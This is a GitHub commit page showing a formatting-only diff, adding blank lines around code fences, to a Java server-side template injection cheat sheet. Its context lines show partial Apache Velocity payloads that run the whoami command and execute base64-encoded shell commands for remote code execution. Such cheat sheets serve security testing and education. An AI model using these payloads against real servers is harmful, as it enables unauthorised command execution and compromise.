Skip to content

Commit f3cdd4f

Browse files
authored
fix(markdown): add blank lines around fenced code blocks to satisfy MD031
1 parent d04a38a commit f3cdd4f

File tree

1 file changed

+3
-0
lines changed
  • Server Side Template Injection

1 file changed

+3
-0
lines changed

Server Side Template Injection/Java.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -214,6 +214,7 @@ New version of Pebble :
214214
> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
215215
216216
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
217+
217218
```java
218219
#set($str=$class.inspect("java.lang.String").type)
219220
#set($chr=$class.inspect("java.lang.Character").type)
@@ -226,6 +227,7 @@ $str.valueOf($chr.toChars($out.read()))
226227
```
227228
228229
A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
230+
229231
```java
230232
#set($base64EncodedCommand = 'd2hvYW1p')
231233
@@ -256,6 +258,7 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo
256258
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
257259
#end
258260
```
261+
259262
---
260263
261264
## Groovy

0 commit comments

Comments
 (0)